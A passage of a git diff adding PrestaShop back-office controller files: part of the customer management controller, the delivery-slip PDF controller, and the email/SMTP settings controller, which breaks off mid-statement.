'url_delete' => htmlentities($_SERVER['REQUEST_URI']), + 'boxes' => $this->boxes, + )); + + if (!$this->can_add_customer && !$this->display) + $this->informations[] = $this->l('You have to select a shop if you want to create a customer.'); + + parent::initContent(); + } + + public function initToolbar() + { + parent::initToolbar(); + if (!$this->can_add_customer) + unset($this->toolbar_btn['new']); + else if (!$this->display) //display import button only on listing + { + $this->toolbar_btn['import'] = array( + 'href' => $this->context->link->getAdminLink('AdminImport', true).'&import_type='.$this->table, + 'desc' => $this->l('Import') + ); + } + } + + public function initProcess() + { + parent::initProcess(); + + if (Tools::isSubmit('submitGuestToCustomer') && $this->id_object) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'guest_to_customer'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('changeNewsletterVal') && $this->id_object) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'change_newsletter_val'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('changeOptinVal') && $this->id_object) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'change_optin_val'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + // When deleting, first display a form to select the type of deletion + if ($this->action == 'delete' || $this->action == 'bulkdelete') + if (Tools::getValue('deleteMode') == 'real' || Tools::getValue('deleteMode') == 'deleted') + $this->delete_mode = Tools::getValue('deleteMode'); + else + $this->action = 'select_delete'; + } + + public function renderList() + { + if (Tools::isSubmit('submitBulkdelete'.$this->table) || Tools::isSubmit('delete'.$this->table)) + $this->tpl_list_vars = array( + 'delete_customer' => true, + 'REQUEST_URI' => $_SERVER['REQUEST_URI'], + 'POST' => $_POST + ); + + return parent::renderList(); + } + + public function renderForm() + { + if (!($obj = $this->loadObject(true))) + return; + + $genders = Gender::getGenders(); + $list_genders = array(); + foreach ($genders as $key => $gender) + { + $list_genders[$key]['id'] = 'gender_'.$gender->id; + $list_genders[$key]['value'] = $gender->id; + $list_genders[$key]['label'] = $gender->name; + } + + $years = Tools::dateYears(); + $months = Tools::dateMonths(); + $days = Tools::dateDays(); + + $groups = Group::getGroups($this->default_form_language, true); + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Customer'), + 'image' => '../img/admin/tab-customers.gif' + ), + 'input' => array( + array( + 'type' => 'radio', + 'label' => $this->l('Title:'), + 'name' => 'id_gender', + 'required' => false, + 'class' => 't', + 'values' => $list_genders + ), + array( + 'type' => 'text', + 'label' => $this->l('First name:'), + 'name' => 'firstname', + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Forbidden characters:').' 0-9!<>,;?=+()@#"�{}_$%:' + ), + array( + 'type' => 'text', + 'label' => $this->l('Last name:'), + 'name' => 'lastname', + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' 0-9!<>,;?=+()@#"�{}_$%:' + ), + array( + 'type' => 'text', + 'label' => $this->l('Email address:'), + 'name' => 'email', + 'size' => 33, + 'required' => true + ), + array( + 'type' => 'password', + 'label' => $this->l('Password:'), + 'name' => 'passwd', + 'size' => 33, + 'required' => ($obj->id ? false : true), + 'desc' => ($obj->id ? $this->l('Leave this field blank if there\'s no change') : $this->l('Minimum of five characters (only letters and numbers).').' -_') + ), + array( + 'type' => 'birthday', + 'label' => $this->l('Birthday:'), + 'name' => 'birthday', + 'options' => array( + 'days' => $days, + 'months' => $months, + 'years' => $years + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Enable or disable customer login') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Newsletter:'), + 'name' => 'newsletter', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'newsletter_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'newsletter_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Customers will receive your newsletter via email.') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Opt in:'), + 'name' => 'optin', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'optin_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'optin_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Customer will receive your ads via email.') + ), + ) + ); + + // if we add a customer via fancybox (ajax), it's a customer and he doesn't need to be added to the visitor and guest groups + if (Tools::isSubmit('addcustomer') && Tools::isSubmit('submitFormAjax')) + { + $visitor_group = Configuration::get('PS_UNIDENTIFIED_GROUP'); + $guest_group = Configuration::get('PS_GUEST_GROUP'); + foreach ($groups as $key => $g) + if (in_array($g['id_group'], array($visitor_group, $guest_group))) + unset($groups[$key]); + } + + $this->fields_form['input'] = array_merge($this->fields_form['input'], + array( + array( + 'type' => 'group', + 'label' => $this->l('Group access:'), + 'name' => 'groupBox', + 'values' => $groups, + 'required' => true, + 'desc' => $this->l('Select all the groups that you would like to apply to this customer.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Default customer group:'), + 'name' => 'id_default_group', + 'options' => array( + 'query' => $groups, + 'id' => 'id_group', + 'name' => 'name' + ), + 'hint' => $this->l('The group will be as applied by default.'), + 'desc' => $this->l('Apply the discount\'s price of this group.') + ) + ) + ); + + // if customer is a guest customer, password hasn't to be there + if ($obj->id && ($obj->is_guest && $obj->id_default_group == Configuration::get('PS_GUEST_GROUP'))) + { + foreach ($this->fields_form['input'] as $k => $field) + if ($field['type'] == 'password') + array_splice($this->fields_form['input'], $k, 1); + } + + if (Configuration::get('PS_B2B_ENABLE')) + { + $risks = Risk::getRisks(); + + $list_risks = array(); + foreach ($risks as $key => $risk) + { + $list_risks[$key]['id_risk'] = (int)$risk->id; + $list_risks[$key]['name'] = $risk->name; + } + + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Company:'), + 'name' => 'company', + 'size' => 33 + ); + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('SIRET:'), + 'name' => 'siret', + 'size' => 14 + ); + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('APE:'), + 'name' => 'ape', + 'size' => 5 + ); + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Website:'), + 'name' => 'website', + 'size' => 33 + ); + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Outstanding allowed:'), + 'name' => 'outstanding_allow_amount', + 'size' => 10, + 'hint' => $this->l('Valid characters:').' 0-9', + 'suffix' => '¤' + ); + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Maximum number of payment days:'), + 'name' => 'max_payment_days', + 'size' => 10, + 'hint' => $this->l('Valid characters:').' 0-9' + ); + $this->fields_form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Risk:'), + 'name' => 'id_risk', + 'required' => false, + 'class' => 't', + 'options' => array( + 'query' => $list_risks, + 'id' => 'id_risk', + 'name' => 'name' + ), + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + $birthday = explode('-', $this->getFieldValue($obj, 'birthday')); + + $this->fields_value = array( + 'years' => $this->getFieldValue($obj, 'birthday') ? $birthday[0] : 0, + 'months' => $this->getFieldValue($obj, 'birthday') ? $birthday[1] : 0, + 'days' => $this->getFieldValue($obj, 'birthday') ? $birthday[2] : 0, + ); + + // Added values of object Group + if (!Validate::isUnsignedId($obj->id)) + $customer_groups = array(); + else + $customer_groups = $obj->getGroups(); + $customer_groups_ids = array(); + if (is_array($customer_groups)) + foreach ($customer_groups as $customer_group) + $customer_groups_ids[] = $customer_group; + + // if empty $carrier_groups_ids : object creation : we set the default groups + if (empty($customer_groups_ids)) + { + $preselected = array(Configuration::get('PS_UNIDENTIFIED_GROUP'), Configuration::get('PS_GUEST_GROUP'), Configuration::get('PS_CUSTOMER_GROUP')); + $customer_groups_ids = array_merge($customer_groups_ids, $preselected); + } + + foreach ($groups as $group) + $this->fields_value['groupBox_'.$group['id_group']] = + Tools::getValue('groupBox_'.$group['id_group'], in_array($group['id_group'], $customer_groups_ids)); + + return parent::renderForm(); + } + + public function beforeAdd($customer) + { + $customer->id_shop = $this->context->shop->id; + } + + public function renderView() + { + if (!($customer = $this->loadObject())) + return; + + $this->context->customer = $customer; + $gender = new Gender($customer->id_gender); + $gender_image = $gender->getImage(); + + $customer_stats = $customer->getStats(); + $sql = 'SELECT SUM(total_paid_real) FROM '._DB_PREFIX_.'orders WHERE id_customer = %d AND valid = 1'; + if ($total_customer = Db::getInstance()->getValue(sprintf($sql, $customer->id))) + { + $sql = 'SELECT SQL_CALC_FOUND_ROWS COUNT(*) FROM '._DB_PREFIX_.'orders WHERE valid = 1 GROUP BY id_customer HAVING SUM(total_paid_real) > %d'; + Db::getInstance()->getValue(sprintf($sql, (int)$total_customer)); + $count_better_customers = (int)Db::getInstance()->getValue('SELECT FOUND_ROWS()') + 1; + } + else + $count_better_customers = '-'; + + $orders = Order::getCustomerOrders($customer->id, true); + $total_orders = count($orders); + for ($i = 0; $i < $total_orders; $i++) + { + $orders[$i]['date_add'] = Tools::displayDate($orders[$i]['date_add'], $this->context->language->id); + $orders[$i]['total_paid_real_not_formated'] = $orders[$i]['total_paid_real']; + $orders[$i]['total_paid_real'] = Tools::displayPrice($orders[$i]['total_paid_real'], new Currency((int)$orders[$i]['id_currency'])); + } + + $messages = CustomerThread::getCustomerMessages((int)$customer->id); + $total_messages = count($messages); + for ($i = 0; $i < $total_messages; $i++) + { + $messages[$i]['message'] = substr(strip_tags(html_entity_decode($messages[$i]['message'], ENT_NOQUOTES, 'UTF-8')), 0, 75); + $messages[$i]['date_add'] = Tools::displayDate($messages[$i]['date_add'], $this->context->language->id, true); + } + + $groups = $customer->getGroups(); + $total_groups = count($groups); + for ($i = 0; $i < $total_groups; $i++) + { + $group = new Group($groups[$i]); + $groups[$i] = array(); + $groups[$i]['id_group'] = $group->id; + $groups[$i]['name'] = $group->name[$this->default_form_language]; + } + + $total_ok = 0; + $orders_ok = array(); + $orders_ko = array(); + foreach ($orders as $order) + { + if (!isset($order['order_state'])) + $order['order_state'] = $this->l('The state isn\'t defined for this order'); + + if ($order['valid']) + { + $orders_ok[] = $order; + $total_ok += $order['total_paid_real_not_formated']; + } + else + $orders_ko[] = $order; + } + + $products = $customer->getBoughtProducts(); + $total_products = count($products); + for ($i = 0; $i < $total_products; $i++) + $products[$i]['date_add'] = Tools::displayDate($products[$i]['date_add'], $this->default_form_language, true); + + $carts = Cart::getCustomerCarts($customer->id); + $total_carts = count($carts); + for ($i = 0; $i < $total_carts; $i++) + { + $cart = new Cart((int)$carts[$i]['id_cart']); + $this->context->cart = $cart; + $summary = $cart->getSummaryDetails(); + $currency = new Currency((int)$carts[$i]['id_currency']); + $carrier = new Carrier((int)$carts[$i]['id_carrier']); + $carts[$i]['id_cart'] = sprintf('%06d', $carts[$i]['id_cart']); + $carts[$i]['date_add'] = Tools::displayDate($carts[$i]['date_add'], $this->default_form_language, true); + $carts[$i]['total_price'] = Tools::displayPrice($summary['total_price'], $currency); + $carts[$i]['name'] = $carrier->name; + } + + $sql = 'SELECT DISTINCT id_product, c.id_cart, c.id_shop, cp.id_shop AS cp_id_shop + FROM '._DB_PREFIX_.'cart_product cp + JOIN '._DB_PREFIX_.'cart c ON (c.id_cart = cp.id_cart) + WHERE c.id_customer = '.(int)$customer->id.' + AND cp.id_product NOT IN ( + SELECT product_id + FROM '._DB_PREFIX_.'orders o + JOIN '._DB_PREFIX_.'order_detail od ON (o.id_order = od.id_order) + WHERE o.valid = 1 AND o.id_customer = '.(int)$customer->id.' + )'; + $interested = Db::getInstance()->executeS($sql); + $total_interested = count($interested); + for ($i = 0; $i < $total_interested; $i++) + { + $product = new Product($interested[$i]['id_product'], false, $this->default_form_language, $interested[$i]['id_shop']); + $interested[$i]['url'] = $this->context->link->getProductLink( + $product->id, + $product->link_rewrite, + Category::getLinkRewrite($product->id_category_default, $this->default_form_language), + null, + null, + $interested[$i]['cp_id_shop'] + ); + $interested[$i]['id'] = (int)$product->id; + $interested[$i]['name'] = Tools::htmlentitiesUTF8($product->name); + } + + $connections = $customer->getLastConnections(); + $total_connections = count($connections); + for ($i = 0; $i < $total_connections; $i++) + { + $connections[$i]['date_add'] = Tools::displayDate($connections[$i]['date_add'], $this->default_form_language, true); + $connections[$i]['http_referer'] = $connections[$i]['http_referer'] ? + preg_replace('/^www./', '', parse_url($connections[$i]['http_referer'], PHP_URL_HOST)) : + $this->l('Direct link'); + } + + $referrers = Referrer::getReferrers($customer->id); + $total_referrers = count($referrers); + for ($i = 0; $i < $total_referrers; $i++) + $referrers[$i]['date_add'] = Tools::displayDate($referrers[$i]['date_add'], $this->default_form_language, true); + + $shop = new Shop($customer->id_shop); + $this->tpl_view_vars = array( + 'customer' => $customer, + 'gender_image' => $gender_image, + + // General information of the customer + 'registration_date' => Tools::displayDate($customer->date_add, $this->default_form_language, true), + 'customer_stats' => $customer_stats, + 'last_visit' => Tools::displayDate($customer_stats['last_visit'], $this->default_form_language, true), + 'count_better_customers' => $count_better_customers, + 'shop_is_feature_active' => Shop::isFeatureActive(), + 'name_shop' => $shop->name, + 'customer_birthday' => Tools::displayDate($customer->birthday, $this->default_form_language), + 'last_update' => Tools::displayDate($customer->date_upd, $this->default_form_language, true), + 'customer_exists' => Customer::customerExists($customer->email), + 'id_lang' => $customer->id_lang, + 'customerLanguage' => (new Language($customer->id_lang)), + + // Add a Private note + 'customer_note' => Tools::htmlentitiesUTF8($customer->note), + + // Messages + 'messages' => $messages, + + // Groups + 'groups' => $groups, + + // Orders + 'orders' => $orders, + 'orders_ok' => $orders_ok, + 'orders_ko' => $orders_ko, + 'total_ok' => Tools::displayPrice($total_ok, $this->context->currency->id), + + // Products + 'products' => $products, + + // Addresses + 'addresses' => $customer->getAddresses($this->default_form_language), + + // Discounts + 'discounts' => CartRule::getCustomerCartRules($this->default_form_language, $customer->id, false, false), + + // Carts + 'carts' => $carts, + + // Interested + 'interested' => $interested, + + // Connections + 'connections' => $connections, + + // Referrers + 'referrers' => $referrers, + 'show_toolbar' => true + ); + + return parent::renderView(); + } + + public function processDelete() + { + $this->_setDeletedMode(); + parent::processDelete(); + } + + protected function _setDeletedMode() + { + if ($this->delete_mode == 'real') + $this->deleted = false; + elseif ($this->delete_mode == 'deleted') + $this->deleted = true; + else + { + $this->errors[] = Tools::displayError('Unknown delete mode:').' '.$this->deleted; + return; + } + } + + protected function processBulkDelete() + { + $this->_setDeletedMode(); + parent::processBulkDelete(); + } + + public function processAdd() + { + if (Tools::getValue('submitFormAjax')) + $this->redirect_after = false; + // Check that the new email is not already in use + $customer_email = strval(Tools::getValue('email')); + $customer = new Customer(); + if (Validate::isEmail($customer_email)) + $customer->getByEmail($customer_email); + if ($customer->id) + { + $this->errors[] = Tools::displayError('An account already exists for this email address:').' '.$customer_email; + $this->display = 'edit'; + return $customer; + } + elseif ($customer = parent::processAdd()) + { + $this->context->smarty->assign('new_customer', $customer); + return $customer; + } + return false; + } + + public function processUpdate() + { + if (Validate::isLoadedObject($this->object)) + { + $customer_email = strval(Tools::getValue('email')); + + // check if e-mail already used + if ($customer_email != $this->object->email) + { + $customer = new Customer(); + $customer->getByEmail($customer_email); + if ($customer->id) + $this->errors[] = Tools::displayError('An account already exists for this email address:').' '.$customer_email; + } + + return parent::processUpdate(); + } + else + $this->errors[] = Tools::displayError('An error occurred while loading the object.').' + <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + + public function processSave() + { + // Check that default group is selected + if (!is_array(Tools::getValue('groupBox')) || !in_array(Tools::getValue('id_default_group'), Tools::getValue('groupBox'))) + $this->errors[] = Tools::displayError('A default customer group must be selected in group box.'); + + // Check the requires fields which are settings in the BO + $customer = new Customer(); + $this->errors = array_merge($this->errors, $customer->validateFieldsRequiredDatabase()); + + return parent::processSave(); + } + + protected function afterDelete($object, $old_id) + { + $customer = new Customer($old_id); + $addresses = $customer->getAddresses($this->default_form_language); + foreach ($addresses as $k => $v) + { + $address = new Address($v['id_address']); + $address->id_customer = $object->id; + $address->save(); + } + return true; + } + /** + * Transform a guest account into a registered customer account + */ + public function processGuestToCustomer() + { + $customer = new Customer((int)Tools::getValue('id_customer')); + if (!Validate::isLoadedObject($customer)) + $this->errors[] = Tools::displayError('This customer does not exist.'); + if (Customer::customerExists($customer->email)) + $this->errors[] = Tools::displayError('This customer already exists as a non-guest.'); + else if ($customer->transformToCustomer(Tools::getValue('id_lang', $this->context->language->id))) + Tools::redirectAdmin(self::$currentIndex.'&'.$this->identifier.'='.$customer->id.'&conf=3&token='.$this->token); + else + $this->errors[] = Tools::displayError('An error occurred while updating customer information.'); + } + + /** + * Toggle the newsletter flag + */ + public function processChangeNewsletterVal() + { + $customer = new Customer($this->id_object); + if (!Validate::isLoadedObject($customer)) + $this->errors[] = Tools::displayError('An error occurred while updating customer information.'); + $customer->newsletter = $customer->newsletter ? 0 : 1; + if (!$customer->update()) + $this->errors[] = Tools::displayError('An error occurred while updating customer information.'); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + + /** + * Toggle newsletter optin flag + */ + public function processChangeOptinVal() + { + $customer = new Customer($this->id_object); + if (!Validate::isLoadedObject($customer)) + $this->errors[] = Tools::displayError('An error occurred while updating customer information.'); + $customer->optin = $customer->optin ? 0 : 1; + if (!$customer->update()) + $this->errors[] = Tools::displayError('An error occurred while updating customer information.'); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + + public static function printNewsIcon($value, $customer) + { + return '<a href="index.php?tab=AdminCustomers&id_customer=' + .(int)$customer['id_customer'].'&changeNewsletterVal&token='.Tools::getAdminTokenLite('AdminCustomers').'"> + '.($value ? '<img src="../img/admin/enabled.gif" />' : '<img src="../img/admin/disabled.gif" />'). + '</a>'; + } + + public static function printOptinIcon($value, $customer) + { + return '<a href="index.php?tab=AdminCustomers&id_customer=' + .(int)$customer['id_customer'].'&changeOptinVal&token='.Tools::getAdminTokenLite('AdminCustomers').'"> + '.($value ? '<img src="../img/admin/enabled.gif" />' : '<img src="../img/admin/disabled.gif" />'). + '</a>'; + } + + /** + * @param string $token + * @param integer $id + * @param string $name + * @return mixed + */ + public function displayDeleteLink($token = null, $id, $name = null) + { + $tpl = $this->createTemplate('helpers/list/list_action_delete.tpl'); + + $customer = new Customer($id); + $name = $customer->lastname.' '.$customer->firstname; + $name = '\n\n'.$this->l('Name:', 'helper').' '.$name; + + $tpl->assign(array( + 'href' => self::$currentIndex.'&'.$this->identifier.'='.$id.'&delete'.$this->table.'&token='.($token != null ? $token : $this->token), + 'confirm' => $this->l('Delete the selected item?').$name, + 'action' => $this->l('Delete'), + 'id' => $id, + )); + + return $tpl->fetch(); + } + + /** + * add to $this->content the result of Customer::SearchByName + * (encoded in json) + * + * @return void + */ + public function ajaxProcessSearchCustomers() + { + if ($customers = Customer::searchByName(pSQL(Tools::getValue('customer_search')))) + $to_return = array('customers' => $customers, 'found' => true); + else + $to_return = array('found' => false); + + $this->content = Tools::jsonEncode($to_return); + } + + /** + * Uodate the customer note + * + * @return void + */ + public function ajaxProcessUpdateCustomerNote() + { + if ($this->tabAccess['edit'] === '1') + { + $note = Tools::htmlentitiesDecodeUTF8(Tools::getValue('note')); + $customer = new Customer((int)Tools::getValue('id_customer')); + if (!Validate::isLoadedObject($customer)) + die ('error:update'); + if (!empty($note) && !Validate::isCleanHtml($note)) + die ('error:validation'); + $customer->note = $note; + if (!$customer->update()) + die ('error:update'); + die('ok'); + } + } +} + + diff --git a/controllers/admin/AdminDeliverySlipController.php b/controllers/admin/AdminDeliverySlipController.php new file mode 100755 index 0000000..c2cca91 --- /dev/null +++ b/controllers/admin/AdminDeliverySlipController.php @@ -0,0 +1,134 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminDeliverySlipControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'delivery'; + + $this->context = Context::getContext(); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Delivery slip options'), + 'fields' => array( + 'PS_DELIVERY_PREFIX' => array( + 'title' => $this->l('Delivery prefix:'), + 'desc' => $this->l('Prefix used for delivery slips'), + 'size' => 6, + 'type' => 'textLang' + ), + 'PS_DELIVERY_NUMBER' => array( + 'title' => $this->l('Delivery number:'), + 'desc' => $this->l('The next delivery slip will begin with this number and then increase with each additional slip.'), + 'size' => 6, + 'cast' => 'intval', + 'type' => 'text' + ) + ), + 'submit' => array() + ) + ); + + parent::__construct(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Print PDF delivery slips'), + 'image' => '../img/admin/AdminPdf.gif' + ), + 'input' => array( + array( + 'type' => 'date', + 'label' => $this->l('From:'), + 'name' => 'date_from', + 'size' => 20, + 'maxlength' => 10, + 'required' => true, + 'desc' => $this->l('Format: 2011-12-31 (inclusive)') + ), + array( + 'type' => 'date', + 'label' => $this->l('To:'), + 'name' => 'date_to', + 'size' => 20, + 'maxlength' => 10, + 'required' => true, + 'desc' => $this->l('Format: 2012-12-31 (inclusive)') + ) + ), + 'submit' => array( + 'title' => $this->l('Generate PDF file'), + 'class' => 'button' + ) + ); + + $this->fields_value = array( + 'date_from' => date('Y-m-d'), + 'date_to' => date('Y-m-d') + ); + + return parent::renderForm(); + } + + public function postProcess() + { + if (Tools::isSubmit('submitAdddelivery')) + { + if (!Validate::isDate(Tools::getValue('date_from'))) + $this->errors[] = Tools::displayError('Invalid \'from\' date'); + if (!Validate::isDate(Tools::getValue('date_to'))) + $this->errors[] = Tools::displayError('Invalid \'to\' date'); + if (!count($this->errors)) + { + if (count(OrderInvoice::getByDeliveryDateInterval(Tools::getValue('date_from'), Tools::getValue('date_to')))) + Tools::redirectAdmin($this->context->link->getAdminLink('AdminPdf').'&submitAction=generateDeliverySlipsPDF&date_from='.urlencode(Tools::getValue('date_from')).'&date_to='.urlencode(Tools::getValue('date_to'))); + else + $this->errors[] = Tools::displayError('No delivery slip was found for this period.'); + } + } + else + parent::postProcess(); + } + + public function initContent() + { + $this->content .= $this->renderForm().'<br />'; + $this->show_toolbar = false; + $this->content .= $this->renderOptions(); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } +} + + diff --git a/controllers/admin/AdminEmailsController.php b/controllers/admin/AdminEmailsController.php new file mode 100755 index 0000000..a0c26e1 --- /dev/null +++ b/controllers/admin/AdminEmailsController.php @@ -0,0 +1,243 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminEmailsControllerCore extends AdminController +{ + public function __construct() + { + $this->className = 'Configuration'; + $this->table = 'configuration'; + + parent::__construct(); + + foreach (Contact::getContacts($this->context->language->id) as $contact) + $arr[] = array('email_message' => $contact['id_contact'], 'name' => $contact['name']); + + $this->fields_options = array( + 'email' => array( + 'title' => $this->l('Email'), + 'icon' => 'email', + 'fields' => array( + 'PS_MAIL_EMAIL_MESSAGE' => array( + 'title' => $this->l('Send email to'), + 'desc' => $this->l('Where customers send messages from the order page.'), + 'validation' => 'isUnsignedId', + 'type' => 'select', + 'cast' => 'intval', + 'identifier' => 'email_message', + 'list' => $arr + ), + 'PS_MAIL_METHOD' => array( + 'title' => '', + 'validation' => 'isGenericName', + 'type' => 'radio', + 'required' => true, + 'choices' => array( + 3 => $this->l('Never send emails (may be useful for test purpose)'), + 1 => $this->l('Use PHP mail() function. Recommended; works in most cases'), + 2 => $this->l('Set my own SMTP parameters. For advanced users ONLY') + ), + 'js' => array( + 1 => 'onclick="$(\'#smtp\').slideUp();"', + 2 => 'onclick="$(\'#smtp\').slideDown();"' + ), + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_MAIL_TYPE' => array('title' => '', 'validation' => 'isGenericName', 'type' => 'radio', 'required' => true, 'choices' => array( + Mail::TYPE_HTML => $this->l('Send email in HTML format. '), + Mail::TYPE_TEXT => $this->l('Send email in text format'), + Mail::TYPE_BOTH => $this->l('Both') + ) + ), + ), + 'submit' => array() + ), + 'smtp' => array( + 'title' => $this->l('Email'), + 'icon' => 'email', + 'top' => '<div id="smtp" style="display: '.((Configuration::get('PS_MAIL_METHOD') == 2) ? 'block' : 'none').';">', + 'bottom' => '</div>', + 'fields' => array( + 'PS_MAIL_DOMAIN' => array( + 'title' => $this->l('Mail domain name:'), + 'desc' => $this->l('Fully qualified domain name (keep this field empty if you don\'t know).'), + 'empty' => true, 'validation' => + 'isUrl', 'size' => 30, + 'type' => 'text', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_MAIL_SERVER' => array( + 'title' => $this->l('SMTP server:'), + 'desc' => $this->l('IP address or server name (e.g. smtp.mydomain.com)'), + 'validation' => 'isGenericName', + 'size' => 30, + 'type' => 'text', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_MAIL_USER' => array( + 'title' => $this->l('SMTP user:'), + 'desc' => $this->l('Leave blank if not applicable.'), + 'validation' => 'isGenericName', + 'size' => 30, + 'type' => 'text', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_MAIL_PASSWD' => array( + 'title' => $this->l('SMTP password:'), + 'desc' => $this->l('Leave blank if not applicable.'), + 'validation' => 'isAnything', + 'size' => 30, + 'type' => 'password', + 'visibility' => Shop::CONTEXT_ALL, + 'autocomplete' => false + ), + 'PS_MAIL_SMTP_ENCRYPTION' => array( + 'title' => $this->l('Encryption:'), + 'desc' => $this->l('Use an encrypt protocol'), + 'type' => 'select', + 'cast' => 'strval', + 'identifier' => 'mode', + 'list' => array( + array( + 'mode' => 'off', + 'name' => $this->l('None') + ), + array( + 'mode' => 'tls', + 'name' => $this->l('TLS') + ), + array( + 'mode' => 'ssl', + 'name' => $this->l('SSL') + ) + ), + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_MAIL_SMTP_PORT' => array( + 'title' => $this->l('Port:'), + 'desc' => $this->l('Port number to use'), + 'validation' => 'isInt', + 'size' => 5, + 'type' => 'text', + 'cast' => 'intval', + 'visibility' => Shop::CONTEXT_ALL + ), + ), + 'submit' => array() + ), + 'test' => array( + 'title' => $this->l('Test your email configuration'), + 'icon' => 'email', + 'fields' => array( + 'PS_SHOP_EMAIL' => array( + 'title' => $this->l('Send a test email to'), + 'type' => 'text', + 'size' => 40, + 'id' => 'testEmail' + ), + ), + 'bottom' => '<div class="margin-form"><input type="button" class="button" name="btEmailTest" id="btEmailTest" value="'.$this->l('Send an email test').'" onclick="verifyMail();" /><br /> + <p id="mailResultCheck" style="display:none;"></p></div>', + ) + ); + } + + /** + * AdminController::initContent() override + * @see AdminController::initContent() + */ + public function initContent() + { + $this->initTabModuleList(); + $this->initToolbar(); + $this->addToolBarModulesListButton(); + unset($this->toolbar_btn['save']); + $back = $this->context->link->getAdminLink('AdminHome'); + + $this->toolbar_btn['back'] = array( + 'href' => $back, + 'desc' => $this->l('Back to the dashboard') + ); + + $this->content .= $this->renderOptions(); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function beforeUpdateOptions() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + /* PrestaShop demo mode*/ + + // We don't want to update the shop e-mail when sending test e-mails + if (isset($_POST['PS_SHOP_EMAIL'])) + $_POST['PS_SHOP_EMAIL'] = Configuration::get('PS_SHOP_EMAIL'); + + if (isset($_POST['PS_MAIL_METHOD']) && $_POST['PS_MAIL_METHOD'] == 2 && (empty($_POST['PS_MAIL_SERVER']) || empty($_POST['PS_MAIL_SMTP_PORT']))) + $this->errors[] = Tools::displayError('You must define an SMTP server and an SMTP port. If you do not know it, use the PHP mail() function instead.'); + } + + public function ajaxProcessSendMailTest() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + die(Tools::displayError('This functionality has been disabled.')); + /* PrestaShop demo mode */ + if ($this->tabAccess['view'] === 